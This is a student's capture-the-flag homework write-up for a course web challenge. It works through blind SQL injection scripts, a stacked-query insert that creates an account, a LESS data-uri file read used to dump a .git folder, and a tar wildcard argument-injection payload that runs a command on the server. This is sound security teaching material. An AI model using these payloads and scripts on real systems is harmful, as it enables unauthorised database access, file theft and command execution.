# HW4 WEB CTF writeup
R11922138
CTF Account: eric070021
### 1. PasteWeb (Flag 1)
The website needs a username and a password to log in. I try for a while and find there will show 3 types of messages, "Login Failed", "Bad Hacker!", and "When do you came from?". The message "Bad Hacker!" is triggered by simple SQL injection "admin' or 1=1 --", and it will not show any other output. So, I guess it's a blind SQL injection. At first, I thought "Bad Hacker!" is true and the other 2 messages are all interpreted as false in blind SQL injection. But then I found that "When do you came from?" mean the timestamp is wrong. So, now we have the true and false message, we can use the tactic taught in class to leak the database.
First, I need to know the database the website is using. Fortunately, the first database I try is MySQL and it gives me the correct response. Next, I just need to use information_schema to get the database name, table name, column name, and data.
I use python to send requests. I have a function to test the length of the data and a function that use ASCII and binary search to guess the data.
The function of testing length:
```python=
def test_length_database(offset):
count = 1
while True:
current_time = round(time.time())
post = {'username':"user' or ASCII(SUBSTR((SELECT schema_name FROM information_schema.schemata limit 1 offset "+str(offset)+"), "+str(count)+", 1)) > 0 --", 'password':'123', 'current_time':current_time}
ret = requests.post(url, post).text
if 'Login Failed' in ret:
return count
count += 1
```
The function of binary search ASCII:
```python=
def binary_search_database(offset, i):
low = 0
upper = 128
while low <= upper:
current_time = round(time.time())
mid = (low + upper) // 2
post = {'username':"user' or ASCII(SUBSTR((SELECT schema_name FROM information_schema.schemata limit 1 offset "+str(offset)+"), "+str(i)+", 1)) = "+str(mid)+" --", 'password':'123', 'current_time':current_time}
ret = requests.post(url, post).text
if 'Bad Hacker!' in ret:
return mid
else:
post = {'username':"user' or ASCII(SUBSTR((SELECT schema_name FROM information_schema.schemata limit 1 offset "+str(offset)+"), "+str(i)+", 1)) > "+str(mid)+" --", 'password':'123', 'current_time':current_time}
ret = requests.post(url, post).text
if 'Bad Hacker!' in ret:
low = mid + 1
elif 'Login Failed' in ret:
upper = mid - 1
```
I get the database name, public, by the above functions.
Next, I use
`SELECT table_name FROM information_schema.tables WHERE TABLE_SCHEMA = 'public'`
to get the tables of public, pasteweb_accounts and s3cr3t_t4b1e.
`SELECT COLUMN_DEFAULT FROM information_schema.columns WHERE table_name = 's3cr3t_t4b1e'`
to get the column of s3cr3t_t4b1e, fl4g.
`SELECT fl4g FROM s3cr3t_t4b1e`
to get the flag.
### 2. PasteWeb (Flag 2)
Thank R11922015 for hinting to me to try to see the parent folders
First, we need to create our account by SQLI. Remember there's a pasteweb_accounts table we found in the flag1. I first check that table and there were 3 columns, user_id, user_account, and user_password. The spoiler said the passwords are not stored in plaintext. I print the user_password out and find they are all printable ASCII with length 32, so the password is hash by md5. I then try to create an account by the below SQLI but failed.
```sql=
admin' or 1=1; INSERT into pasteweb_accounts(user_account, user_password) values ('test_user', MD5('test_passwd')); --
```
I thought the user_id will be automatically generated when I create an account, so I didn't specify it. But the result showed I might be wrong. I check the 'COLUMN_DEFAULT' of 'information_schema.columns' and find there's a default value of user_id but it's a function I need to call myself. The modified SQLI is as follows. I successfully create an account.
```sql=
admin' or 1=1; INSERT into pasteweb_accounts(user_id, user_account, user_password) values (nextval('pasteweb_accounts_user_id_seq'::regclass), 'test_user', MD5('test_passwd')); --
```
After login, the website can let us write HTML code and less code and show the website we write. The spoiler said we can see the less document. In the miscellaneous function, I find data_uri function can read the file in the server. But when I try to directly read the PHP file out, the server blocks the permission to read PHP files. I need to figure out another way to leak the source code.
I found the git leak in the pdf of the class which can leak the source code out by the .git folder. I try to read source code by this means but fail again. R11922015 hint me to try to read another folder. I then try to read the parent folders and find the .git folder in the '../../.git'. Now, I just need to parse all the data inside .git and recover the source code.
I use a gadget named [scrabble](https://github.com/denny0223/scrabble), it's a bash script that can download the .git folder from the remote server if the server has a git leak. I replace all the curl and wget functions inside the script like the below commands (take reading the HEAD as an example).
```bash=
curl -s --cookie "PHPSESSID=mk1lmshlv4ptuchrmetah1qvcl" https://pasteweb.ctf.zoolab.org/editcss.php -L -d "less=p{content:data-uri('../../.git/HEAD');}" > /dev/null
curl -s http://pasteweb.ctf.zoolab.org/view.php\?id\=de21962d5fae776f970e61f392971de7 -L | awk -F'"' 'NR==8{print $2}' | awk -F, '{print $2}'| base64 -d | awk '{print $2}
```
By this means, I can simply run this script and get the entire .git folder.
The complete code:
```bash=
#!/bin/bash
function downloadBlob {
echo downloadBlob $1
mkdir -p ${1:0:2}
cd $_
curl -s --cookie "PHPSESSID=mk1lmshlv4ptuchrmetah1qvcl" https://pasteweb.ctf.zoolab.org/editcss.php -L -d "less=p{content:data-uri('../../.git/objects/${1:0:2}/${1:2}');}" > /dev/null
curl -s http://pasteweb.ctf.zoolab.org/view.php\?id\=de21962d5fae776f970e61f392971de7 -L | awk -F'"' 'NR==8{print $2}' | awk -F, '{print $2}' | base64 -d > ${1:2}
cd ..
}
function parseTree {
echo parseTree $1
downloadBlob $1
while read line
do
type=$(echo $line | awk '{print $2}')
hash=$(echo $line | awk '{print $3}')
[ "$type" = "tree" ] && parseTree $hash || downloadBlob $hash
done < <(git cat-file -p $1)
}
function parseCommit {
echo parseCommit $1
downloadBlob $1
tree=$(git cat-file -p $1| sed -n '1p' | awk '{print $2}')
parseTree $tree
parent=$(git cat-file -p $1 | sed -n '2p' | awk '{print $2}')
[ ${#parent} -eq 40 ] && parseCommit $parent
}
curl -s --cookie "PHPSESSID=mk1lmshlv4ptuchrmetah1qvcl" https://pasteweb.ctf.zoolab.org/editcss.php -L -d "less=p{content:data-uri('../../.git/HEAD');}" > /dev/null
ref=$(curl -s http://pasteweb.ctf.zoolab.org/view.php\?id\=de21962d5fae776f970e61f392971de7 -L | awk -F'"' 'NR==8{print $2}' | awk -F, '{print $2}'| base64 -d | awk '{print $2}')
curl -s --cookie "PHPSESSID=mk1lmshlv4ptuchrmetah1qvcl" https://pasteweb.ctf.zoolab.org/editcss.php -L -d "less=p{content:data-uri('../../.git/$ref');}" > /dev/null
lastHash=$(curl -s http://pasteweb.ctf.zoolab.org/view.php\?id\=de21962d5fae776f970e61f392971de7 -L | awk -F'"' 'NR==8{print $2}' | awk -F, '{print $2}'| base64 -d)
git init
cd .git/objects/
parseCommit $lastHash
cd ../../
echo $lastHash > .git/refs/heads/master
git reset --hard
```
By the way, since I run this script on mac. The default branch name is 'main', and the default branch name of this project is 'master'. I need to checkout to 'master' and I can see the source code (I struggle for this for an hour QQ).
### 3. PasteWeb (Flag 3)
Now, we have the source code, and the spoiler said we need to use argument injection to get flag3. I first check all the input I can send. There are three post parameters, HTML, less, and theme, the most suspicious parameter since it doesn't appear in response HTML. I try the below command and find I can create 1.css, meaning I can manipulate the file under the download folder.
```bash=
curl --cookie "PHPSESSID=5toelo5uohoqo0ah6ml93a12p9" https://pasteweb.ctf.zoolab.org/editcss.php -L -d "less=p{content:hi}&theme=1"
```
Then, I check the download.php and find shell_exec("tar -cvf download.tar ");, which uses wildcard to pack all the files and uses tar to compress. Really suspicious. I use my Linux to test the tar command and find that the file name like this '--version' can be interpreted as tar options! So, I need to find the option that can run the shell command I want. I google the tar command and find there's an option called '--checkpoint-action=exec=' that can execute the shell command at the checkpoint. The default checkpoint is 10 (tar process 10 files) but can be modified by '--checkpoint[=NUMBER]'.

But, we can't put '--checkpoint=1' under the download folder, since the editcss.php will append '.css' after the file name. So, our file name will be '--checkpoint=1.css' and the tar will generate an error message, causing the download.tar will always be 0kb in this account (I had wasted 4 accounts by this error). But, we can use '--checkpoint-action=exec=sh index.html\||' to successfully run our desired command. Since the appended file name will be '--checkpoint-action=exec=sh index.html||.css', it will only execute 'sh index.html' as long as its success, so the following '.css' command will not be executed.
The content of index.html:
```bash=
/readflag > flag.txt
```
The option-liked file name:
```bash=
curl --cookie "PHPSESSID=5toelo5uohoqo0ah6ml93a12p9" https://pasteweb.ctf.zoolab.org/editcss.php -L -d "less=p{content:hi}&theme=--checkpoint-action=exec=sh index.html||"
```
There's a confusing thing happened. I create 10 files and '--checkpoint-action=exec=sh index.html||' under the download folder. By pressing download, I supposed to see the tar command run my action but it didn't (the default checkpoint is 10?). I test it on my linux and find it fail to execute my action, too. So, I create 300 files this time and the tar command successfully execute my action. So I use the following bash script to send 300 files to my account first.
```bash=
for i in {1..300};
do
curl --cookie "PHPSESSID=5toelo5uohoqo0ah6ml93a12p9" https://pasteweb.ctf.zoolab.org/editcss.php -L -d "less=p{content:hi}&theme=$i";
done
```
This time, the tar command execute my action. By pressing tar 2 times, I get my flag.txt.
